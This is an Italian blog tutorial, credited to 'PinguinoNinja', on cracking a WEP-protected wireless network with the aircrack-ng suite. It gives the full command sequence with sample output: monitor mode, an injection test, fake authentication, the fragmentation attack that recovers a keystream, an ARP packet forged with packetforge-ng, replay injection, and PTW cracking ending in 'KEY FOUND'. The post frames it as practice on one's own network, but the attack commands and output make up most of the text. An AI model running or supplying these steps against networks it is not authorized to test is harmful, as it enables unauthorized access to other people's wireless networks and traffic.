<p style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2007/12/cracking-wep.png" title="cracking-wep.png"><img src="http://carlitobrigante.files.wordpress.com/2007/12/cracking-wep.png?w=436&#038;h=291" alt="cracking-wep.png" align="left" height="291" width="436" /></a></p>
<p>Questo tutorial spiega come recuperare una chiave WEP di una rete wireless con un <b>attacco</b> a <b>frammentazione.</b> Non intendo prendermi nessun merito per quello che scriverò visto che tutto è già stato spiegato sul sito <a href="http://www.aircrack-ng.org/doku.php"><b>Aircrack-ng.org</b></a> in particolare da darkAudax in questi 2 tutorial:</p>
<p><a href="http://www.aircrack-ng.org/doku.php?id=how_to_crack_wep_with_no_clients"><b><span style="font-style:italic;">&#8212;&#8212;&#8212;&#8212;&#8212;&gt;How to crack WEP with no wireless clients</span></b></a></p>
<p><span style="font-style:italic;"></span><a href="http://www.aircrack-ng.org/doku.php?id=how_to_crack_wep_via_a_wireless_client"><b><span style="font-style:italic;">&#8212;&#8212;&#8212;&#8212;&#8212;&gt;How to crack WEP via a wireless client</span></b></a></p>
<p><span style="font-style:italic;"></span></p>
<p align="center"><span style="font-weight:bold;">[REQUISITI]</span></p>
<p>Una rete wireless per sperimentare il tutorial, configurata in modo che utilizzi crittografia WEP a 64 o 128 bit, con autenticazione OPEN e il broadcast dell&#8217;ESSID attivato.<br />
Un PC dotato di interfaccia wireless con dei driver patchati per l&#8217;injection; su questo pc deve anche essere installato aircrack-ng in maniera corretta e funzionante.Sul sito Aircrack-ng[www.aircrack-ng.org] ci sono le istruzioni per installare il <a href="http://www.aircrack-ng.org/doku.php?id=install_aircrack&amp;DokuWiki=42c86c99c805b606eab260801dd8ce41"><b>programma</b></a> e i <a href="http://www.aircrack-ng.org/doku.php?id=install_drivers&amp;DokuWiki=42c86c99c805b606eab260801dd8ce41"><b>driver.</b></a>  Il primo passo del tutorial sarà quello di controllare se tutto è stato installato correttamente.<br />
Dovete essere abbastanza vicini all&#8217;AP per permettervi di trasmettere e ricevere i pacchetti.<br />
Sull&#8217;AP devono esserci in transito dei &#8220;<b>data packets</b>&#8220;, vedremo come verificarlo.</p>
<p align="center"><u><b>[SCENARIO]</b></u></p>
<p><span style="font-weight:bold;">Access Point</span><br />
<span style="font-weight:bold;">MAC address = 00:C1:10:xx:xx:xx</span><br />
<span style="font-weight:bold;">ENC = WEP 128 bit</span><br />
<span style="font-weight:bold;">ESSID = test</span><br />
<span style="font-weight:bold;">Channel = 11</span></p>
<p><span style="font-weight:bold;">Laptop</span><br />
<span style="font-weight:bold;">MAC address ath0 = 00:02:A6:xx:xx:xx</span><br />
<span style="font-weight:bold;">Driver = Madwifi-ng</span></p>
<p align="center"><u><b>[SVOLGIMENTO]</b></u></p>
<p>Per prima cosa dobbiamo settare la nostra interfaccia wireless in monitor mode sulla stessa frequenza nella quale trasmette l&#8217;AP; possiamo farlo tramite airmon-ng. Apriamo un terminale e digitiamo:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
<span style="font-weight:bold;">airmon-ng start wifi0 11</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;    </span></p>
<p align="left"><i>Il sistema risponderà:</i></p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span><br />
<span style="font-weight:bold;">Interface       Chipset         Driver</span></p>
<p><span style="font-weight:bold;">wifi0           Atheros         madwifi-ng</span><br />
<span style="font-weight:bold;">ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p>Significa che è stata creata l&#8217;interfaccia ath0 in monitor mode, quindi srà questa che andremo ad usare per il nostro attacco.<br />
Per confermare che tutto sia andato per il verso giusto sempre da terminale digitiamo:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;</span><br />
<span style="font-weight:bold;">iwconfig</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;</span></p>
<p>otterremo un&#8217;output simile a questo:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
<span style="font-weight:bold;">lo        no wireless extensions.</span></p>
<p><span style="font-weight:bold;">eth0      no wireless extensions.</span></p>
<p><span style="font-weight:bold;">wifi0     no wireless extensions.</span></p>
<p><span style="font-weight:bold;">ath0      IEEE 802.11g  ESSID:&#8221;"  Nickname:&#8221;"</span><br />
<span style="font-weight:bold;">          Mode:Monitor  Frequency:2.462 GHz  Access Point: 00:02:A6:xx:xx:xx</span><br />
<span style="font-weight:bold;">          Bit Rate:0 kb/s   Tx-Power:31 dBm   Sensitivity=0/3</span><br />
<span style="font-weight:bold;">          Retry:off   RTS thr:off   Fragment thr:off</span><br />
<span style="font-weight:bold;">          Encryption key:off</span><br />
<span style="font-weight:bold;">          Power Management:off</span><br />
<span style="font-weight:bold;">          Link Quality=0/94  Signal level=-88 dBm  Noise level=-88 dBm</span><br />
<span style="font-weight:bold;">          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0</span><br />
<span style="font-weight:bold;">          Tx excessive retries:0  Invalid misc:0   Missed beacon:0</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p>Notate l&#8217;etichetta &#8220;<b>Mode</b>&#8221; che segnala &#8220;<b>Monitor</b>&#8221; e la frequenza &#8220;<b>2.462 GHz</b>&#8220;; per verificare che la frequenza corrisponda realmente a quella del canale di nostro interesse potete andare a questa <a href="http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels"><b>pagina</b></a>, cliccate su &#8220;<b>WiFi Ch. Selection</b>&#8221; e controllate che sia corretta.</p>
<p>Ora controlliamo se i driver sono stati installati correttamente. Useremo aireplay-ng, scriviamo:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
<span style="font-weight:bold;">aireplay-ng -9 ath0</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p>e controlliamo la risposta del sistema:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
<span style="font-weight:bold;">xx:xx:xx  Trying broadcast probe requests&#8230;</span><br />
<span style="font-weight:bold;">xx:xx:xx  Injection is working!</span><br />
<span style="font-weight:bold;">xx:xx:xx  Found 1 AP</span></p>
<p><span style="font-weight:bold;">xx:xx:xx  Trying directed probe requests&#8230;</span><br />
<span style="font-weight:bold;">xx:xx:xx  00:C1:10:xx:xx:xx &#8211; channel: 11 &#8211; &#8216;test&#8217;</span><br />
<span style="font-weight:bold;">xx:xx:xx  Ping (min/avg/max): 1.624ms/22.416ms/47.329ms</span><br />
<span style="font-weight:bold;">xx:xx:xx  24/30: 80%</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p>Proseguite solo se avete conferma che tutto sia funzionante, altrimenti provate ad reinstallare i driver della scheda.<br />
Il prossimo passo è quello di aprire <b>airodump</b> per catturare solo il traffico in transito &#8220;da e verso&#8221; il nostro access point, questo ci permetterà di recuperare informazioni necesarie al <b>cracking</b> della chiave <b>WEP ,</b> quindi usiamo <b>airodump-ng</b> con <b>filtro</b> per <b>BSSID</b> e per<b> canale</b>:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
<span style="font-weight:bold;">airodump-ng &#8211;bssid 00:C1:10:xx:xx:xx &#8211;channel 11 &#8211;write capture ath0</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p><i>dove:</i><br />
<b> &#8211;bssid 00:C1:10:xx:xx:xx</b> è il MAC dell&#8217;AP<br />
<b> &#8211;channel 11 </b>è il canale di trasmissione dell&#8217;AP<br />
<b> &#8211;write capture</b> indica che il traffico è salvato nel file &#8220;capture&#8221;<br />
<b> ath0</b> è la nostra interfaccia <b>wireless</b> in <b>monitor</b> <b>mode</b></p>
<p>A questo punto analizziamo la situazione che ci si presenterà dopo aver dato questo comando:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
<span style="font-weight:bold;">CH 11 ][ Elapsed: 8 s ][ xxxx-xx-xx xx:xx</span></p>
<p><span style="font-weight:bold;">BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID</span></p>
<p><span style="font-weight:bold;">00:C1:10:xx:xx:xx   44 100       92        0    0  11  48  WEP  WEP         test</span></p>
<p><span style="font-weight:bold;">BSSID              STATION            PWR  Lost  Packets  Probes</span><br />
<span style="font-weight:bold;">------------------------------------------------------------------------------------</span></p>
<p>Come potete notare non vi sono client connessi alla nostra rete target, in questo caso dovremo autenticarci con l'ap attraverso una falsa autenticazione. Per effettuare useremo <b>aireplay-ng</b>, apriamo un'altro terminale, per permettere ad <b>airodump-ng</b> di continuare a catturare il traffico, e digitiamo:</p>
<p><span style="font-weight:bold;">------------------------------------------------------------------------</span><br />
<span style="font-weight:bold;">aireplay-ng -1 0 -e test -a 00:C1:10:xx:xx:xx -h 00:02:A6:xx:xx:xx ath0</span><br />
<span style="font-weight:bold;">------------------------------------------------------------------------</span></p>
<p><i>dove:</i><br />
<b> -1 0 </b>indica che stiamo tentando una falsa autenticazione<br />
<b> -e</b> test è il nome della rete wireless<br />
<b> -a 00:C1:10:xx:xx:xx</b> è l'indirizzo MAC dell'AP<br />
<b> -h 00:02:A6:xx:xx:xx</b> è l'indirizzo della nostra interfaccia di rete<br />
<b> ath0 </b>è la nostra interfaccia di rete</p>
<p>Se l'attacco va a buon fine il risultato sarà:</p>
<p><span style="font-weight:bold;">--------------------------------------------------------------</span><br />
<span style="font-weight:bold;">xx:xx:xx  Waiting for beacon frame (BSSID: 00:C1:10:xx:xx:xx)</span><br />
<span style="font-weight:bold;">xx:xx:xx  Sending Authentication Request</span><br />
<span style="font-weight:bold;">xx:xx:xx  Authentication successful</span><br />
<span style="font-weight:bold;">xx:xx:xx  Sending Association Request</span><br />
<span style="font-weight:bold;">xx:xx:xx  Association successful <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </span><br />
<span style="font-weight:bold;">--------------------------------------------------------------</span></p>
<p>A questo punto stoppiamo airodump e rilanciamolo, ora avremo un client connesso (noi!):</p>
<p><span style="font-weight:bold;">----------------------------------------------------------------------------------</span><br />
<span style="font-weight:bold;">CH 11 ][ Elapsed: 16 s ][ xxxx-xx-xx xx:xx</span></p>
<p><span style="font-weight:bold;">BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID</span></p>
<p><span style="font-weight:bold;">00:C1:10:xx:xx:xx   44 100      163       60    0  11  48  WEP  WEP    OPN  test</span></p>
<p><span style="font-weight:bold;">BSSID              STATION            PWR  Lost  Packets  Probes</span></p>
<p><span style="font-weight:bold;">00:C1:10:xx:xx:xx  00:02:A6:xx:xx:xx   51     0       18</span><br />
<span style="font-weight:bold;">-----------------------------------------------------------------------------------</span></p>
<p>Essere associati all'AP è essenziale per il nostro fine, altrimenti non accetterà i pacchetti che andremo ad inviargli in seguito.<br />
Notate che grazie ad <b>airodump-ng</b> possiamo verificare se sono in transito sul nostro AP dei pacchetti "<b>data</b>" attraverso i numeri riportati nelle colonne "<b>#Data</b>, <b>#/s</b>" che ci indicano il numero di paccheti di quel tipo sniffati e quanti ne catturiamo al secondo, ovviamente avendo attivato l'opzione "<b>-w</b>" stiamo registrando questi pacchetti in un file. Visto che la rete è la nostra e magari non c'è nessun altro connesso oltre a noi, possiamo fare in modo che si generi del traffico di questo tipo pingando un host sconosciuto con un client connesso via cavo.<br />
Adesso che siamo associati e stiamo sniffando il traffico di rete sul nostro AP passiamo al vero e proprio <b>attacco</b> a <b>frammentazione</b>. L'obbiettivo primario di questo attacco è quello di ottenere attraverso dei pacchetti in transito una "porzione di chiave", ottenuta questa possiamo creare un pacchetto <b>ARP</b> da inviare all'AP in continuazione perchè generi del traffico necessario al <b>cracking</b> della chiave <b>WEP</b>.<br />
Partiamo con l'attacco a frammentazione, digitiamo da terminale:</p>
<p><span style="font-weight:bold;">--------------------------------------------------------------</span><br />
<span style="font-weight:bold;">aireplay-ng -5 -b 00:C1:10:xx:xx:xx -h 00:02:A6:xx:xx:xx ath0</span><br />
<span style="font-weight:bold;">--------------------------------------------------------------</span></p>
<p>L'output di sistema sarà:</p>
<p><span style="font-weight:bold;">--------------------------------------------------------------------------------</span><br />
<span style="font-weight:bold;">xx:xx:xx  Waiting for a data packet...</span></p>
<p><span style="font-weight:bold;">        Size: 136, FromDS: 0, ToDS: 1 (WEP)</span></p>
<p><span style="font-weight:bold;">             BSSID  =  00:C1:10:xx:xx:xx</span><br />
<span style="font-weight:bold;">         Dest. MAC  =  FF:FF:FF:FF:FF:FF</span><br />
<span style="font-weight:bold;">        Source MAC  =  00:19:D2:3B:91:85</span></p>
<p><span style="font-weight:bold;">        0x0000:  0841 2c00 00c1 10xx xxxx 0019 d23b 9185  .A,.........;..</span><br />
<span style="font-weight:bold;">        0x0010:  ffff ffff ffff 1001 ffff 0000 4b9f 4a8e  ............K.J.</span><br />
<span style="font-weight:bold;">        0x0020:  7e0c 025d 0c68 7a0f 6901 6dbc 036f ae41  ~..].hz.i.m..o.A</span><br />
<span style="font-weight:bold;">        0&#215;0030:  672f 6808 e80a b2ca c33a 01ee c350 4407  g/h&#8230;&#8230;:&#8230;PD.</span><br />
<span style="font-weight:bold;">        0&#215;0040:  1064 fa8c d9c0 00fb 7fd3 ff0b efb3 a5df  .d&#8230;&#8230;&#8230;&#8230;.</span><br />
<span style="font-weight:bold;">        0&#215;0050:  686b 76f1 47c7 776b b7c7 7aa5 3bd8 d440  hkv.G.wk..z.;..@</span><br />
<span style="font-weight:bold;">        0&#215;0060:  ef4e e26c 4862 8df6 eb27 f71e 0d99 4786  .N.lHb&#8230;&#8217;&#8230;.G.</span><br />
<span style="font-weight:bold;">        0&#215;0070:  eca2 53c5 79ab 0c86 bbcc b3ab ce58 03ab  ..S.y&#8230;&#8230;..X..</span><br />
<span style="font-weight:bold;">        0&#215;0080:  77ee f69a 0244 3ac4                      w&#8230;.D:.</span></p>
<p><span style="font-weight:bold;">Use this packet ?</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></p>
<p>Quindi il sistema ha individuato un pacchetto che potrebbe andare bene al nostro scopo, noi controlliamo che l&#8217;etichetta &#8220;<b>Size</b>&#8220;, e cioè la dimensione, superi sempre i <b>68 bit</b>. Selezioniamo il pacchetto premendo la lettera &#8220;<b>y</b>&#8221; per confermare la scelta. A questo punto il sistema cercherà di memorizzare la &#8220;porzione di chiave&#8221; in un file &#8220;<b>.xor</b>&#8221; che useremo insieme a packetforge-ng per creare il pacchetto <b>ARP</b> da iniettare nella rete.</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span><br />
<span style="font-weight:bold;">Saving chosen packet in replay_src-xxxx-xxxxxx.cap</span><br />
<span style="font-weight:bold;">xx:xx:xx  Data packet found!</span><br />
<span style="font-weight:bold;">xx:xx:xx  Sending fragmented packet</span><br />
<span style="font-weight:bold;">xx:xx:xx  Got RELAYED packet!!</span><br />
<span style="font-weight:bold;">xx:xx:xx  Thats our ARP packet!</span><br />
<span style="font-weight:bold;">xx:xx:xx  Trying to get 384 bytes of a keystream</span><br />
<span style="font-weight:bold;">xx:xx:xx  Got RELAYED packet!!</span><br />
<span style="font-weight:bold;">xx:xx:xx  Thats our ARP packet!</span><br />
<span style="font-weight:bold;">xx:xx:xx  Trying to get 1500 bytes of a keystream</span><br />
<span style="font-weight:bold;">xx:xx:xx  Got RELAYED packet!!</span><br />
<span style="font-weight:bold;">xx:xx:xx  Thats our ARP packet!</span><br />
<span style="font-weight:bold;">Saving keystream in fragment-xxxx-xxxxxx.xor</span><br />
<span style="font-weight:bold;">Now you can build a packet with packetforge-ng out of that 1500 bytes keystream</span><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Il sistema ha salvato la chiave nel file &#8220;<b>fragment-xxxx-xxxxxx.xor</b>&#8220;, usiamolo con <b>packetforge-ng</b> per creare il pacchetto che andreamo a iniettare:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span><br />
<span style="font-weight:bold;">packetforge-ng -0 -a 00:C1:10:xx:xx:xx -h 00:02:A6:xx:xx:xx -y fragment-xxxx-xxxxxx.xor -w arpreques<b>t </b></span><b>-k 255.255.255.255  -l 255.255.255.255</b><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></p>
<p><i>dove:</i><br />
<b> -0 </b>specifica che vogliamo creare un pacchetto ARP<br />
<b> -a 00:C1:10:xx:xx:xx</b> è il MAC dell&#8217;AP<br />
<b> -h 00:02:A6:xx:xx:xx</b> è il nostro MAC<br />
<b> -y fragment-xxxx-xxxxxx.xor</b><br />
<b> -w </b>arprequest è il nome del file dove salveremo il pacchetto ARP</p>
<p>A conferma del lavoro svolto il sistema risponderà:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span><br />
<span style="font-weight:bold;">Wrote packet to: arprequest</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p>Controlliamo se airodump è ancora in esecuzione, altrimenti avviamolo come al passo precedente, e mettiamo la finestra in un luogo ben visibile del monitor.<br />
Controllato che airodump-ng sia attivo possiamo iniziare a trasmettere il pacchetto creato,usiamo aireplay-ng:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span><br />
<span style="font-weight:bold;">aireplay-ng -2 -r arprequest ath0</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><i>dove:</i><br />
<b> -2</b> indica che la selezione del pacchetto è interattiva<br />
<b> -r</b> arprequest secifica il file da dove leggere il pacchetto ARP<br />
<b> ath0 </b>è la nostra interfaccia di rete</p>
<p>Il sistema risponderà:</p>
<p><span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
<span style="font-weight:bold;">        Size: 68, FromDS: 0, ToDS: 1 (WEP)</span></p>
<p><span style="font-weight:bold;">             BSSID  =  00:C1:10:xx:xx:xx</span><br />
<span style="font-weight:bold;">         Dest. MAC  =  FF:FF:FF:FF:FF:FF</span><br />
<span style="font-weight:bold;">        Source MAC  =  00:02:A6:xx:xx:xx</span></p>
<p><span style="font-weight:bold;">        0&#215;0000:  0841 0201 00c1 10xx xxxx 0002 a658 b8b5  .A&#8230;&#8230;.. .X.[</span><br />
<span style="font-weight:bold;">        0x0010:  ffff ffff ffff 8001 a780 2e00 3480 c19c  ............4...</span><br />
<span style="font-weight:bold;">        0x0020:  c503 b67c 7861 87bb e28e dc23 1fa3 6ff2  ...|xa.....#..o.</span><br />
<span style="font-weight:bold;">        0x0030:  7ba4 9b96 bdc3 642f d2e7 3332 fdaa 54ea  {.....d/..32..T.</span><br />
<span style="font-weight:bold;">        0x0040:  962b 97e9                                .+..</span></p>
<p><span style="font-weight:bold;">Use this packet ?</span><br />
<span style="font-weight:bold;">------------------------------------------------------------------------------------</span><br />
Rispondiamo affermativamente inserendo la lettera "<b>y</b>" e confermiamo, <b>aireplay</b> incomincerà a inviare il pacchetto creato:</p>
<p><span style="font-weight:bold;">------------------------------------------------------</span><br />
<span style="font-weight:bold;">Saving chosen packet in replay_src-xxxx-xxxxxx.cap</span><br />
<span style="font-weight:bold;">You should also start airodump-ng to capture replies.</span></p>
<p><span style="font-weight:bold;">Sent 6832 packets...(341 pps)</span><br />
<span style="font-weight:bold;">------------------------------------------------------</span></p>
<p>Come potete leggere dalle risposte del sistema,stiamo inviando 341 pacchetti al secondo. Guardate ora la finestra di airodump-ng, se nella colonna "#Data" il numero incrementa velocemente significa che tutto è andato a buon fine e siamo a un passo dall'ottenere la chiave. Memorizzati abbastanza pacchetti di questo tipo, circa 100000 per una chiave WEP a 128 bit possono bastare, passiamo al <b>cracking</b> vero della chiave <b>WEP</b> con <b>aircrack-ng</b>...Apriamo un'altro terminale e inseriamo il comando:</p>
<p><span style="font-weight:bold;">-------------------------------------------------</span><br />
<span style="font-weight:bold;">aircrack-ng -z -b 00:C1:10:xx:xx:xx capture*.cap</span><br />
<span style="font-weight:bold;">-------------------------------------------------</span></p>
<p><i>dove:</i><br />
<b> -z</b> indica il tipo di attacco PTW<br />
<b> -b 00:C1:10:xx:xx:xx</b> filtra nel traffico catturato quelli provenienti dall'AP con questo MAC<br />
<b> -capture*.cap</b> è il file contentente il traffico catturato.</p>
<p>Il sistema risponderà:</p>
<p><span style="font-weight:bold;">--------------------------------------------------------------------------------------------------</span><br />
<span style="font-weight:bold;">Opening capture-01.cap</span><br />
<span style="font-weight:bold;">Read 1636119 packets.</span></p>
<p><span style="font-weight:bold;">Attack will be restarted every 5000 captured ivs.</span><br />
<span style="font-weight:bold;">Starting PTW attack with 535892 ivs.</span></p>
<p><span style="font-weight:bold;">Aircrack-ng 0.9.1 r829</span></p>
<p><span style="font-weight:bold;">                            [00:00:00] Tested 0/1400000 keys (got 535892 IVs)</span></p>
<p><span style="font-weight:bold;">   KB    depth   byte(vote)</span><br />
<span style="font-weight:bold;">    0    0/  1   xx(xxxx) 6F(2224) 5A(2222) E2(2203) 00(2201) 2A(2197) 4D(2187) 52(2184) 9A(2183)</span><br />
<span style="font-weight:bold;">    1    0/  1   xx(xxxx) FE(2225) 0D(2217) A5(2211) 8A(2191) 11(2185) 1F(2182) 4E(2177) 2D(2172)</span><br />
<span style="font-weight:bold;">    2    0/  1   xx(xxxx) 95(2220) 1E(2200) 42(2194) 36(2188) D6(2185) 53(2177) 22(2176) 61(2176)</span><br />
<span style="font-weight:bold;">    3    0/  1   xx(xxxx) 5D(2222) D6(2208) 15(2206) 4D(2204) 38(2201) CC(2201) 2E(2196) 01(2186)</span><br />
<span style="font-weight:bold;">    4    0/  1   xx(xxxx) 89(2211) E8(2211) F7(2209) 68(2208) 4B(2202) 4D(2199) DB(2193) F5(2188)</span><br />
<span style="font-weight:bold;">    5    0/  1   xx(xxxx) A0(2234) 09(2203) 3A(2201) 63(2192) 55(2191) 29(2188) AF(2182) F9(2181)</span><br />
<span style="font-weight:bold;">    6    0/  1   xx(xxxx) 13(2211) CE(2198) 82(2188) 39(2178) AA(2178) BC(2177) DC(2175) 8F(2173)</span><br />
<span style="font-weight:bold;">    7    0/  1   xx(xxxx) 7E(2236) 8B(2203) 11(2200) 48(2196) 1C(2178) 51(2178) 33(2176) 64(2175)</span><br />
<span style="font-weight:bold;">    8    0/  1   xx(xxxx) F4(2243) A3(2214) F0(2204) E5(2188) 49(2187) 79(2177) 91(2174) 84(2173)</span><br />
<span style="font-weight:bold;">    9    0/  1   xx(xxxx) E0(2251) 82(2241) 45(2224) D3(2208) D8(2203) 54(2202) EA(2193) 5E(2174)</span><br />
<span style="font-weight:bold;">   10    0/  1   xx(xxxx) 78(2265) B9(2232) 52(2223) 13(2206) 66(2203) 44(2193) BF(2191) C6(2188)</span><br />
<span style="font-weight:bold;">   11    0/  1   xx(xxxx) 6E(2223) D5(2207) 7B(2194) F4(2194) E3(2184) 2B(2180) 18(2177) D6(2176)</span><br />
<span style="font-weight:bold;">   12    0/  1   xx(xxxx) 8F(2201) 1F(2197) FE(2191) 56(2182) C5(2181) 37(2178) B0(2174) BF(2170)</span></p>
<p><span style="font-weight:bold;">             KEY FOUND! [ xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx ]</span><br />
<span style="font-weight:bold;">        Decrypted correctly: 100%</span><br />
<span style="font-weight:bold;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p>Come potete vedere abbiamo ottenuto la chiave WEP!</p>
<p>Spero di essere stato utile.</p>
<p align="center"> <i><span style="font-weight:bold;">PinguinoNinja</span></i></p>
<p align="left">&nbsp;</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/156/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/156/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/156/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/156/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/156/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/156/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/156/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/156/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/156/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/156/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/156/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/156/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=156&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2007/12/08/cracking-wep-with-fragmentation-attack/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
	
		<media:content url="" medium="image">
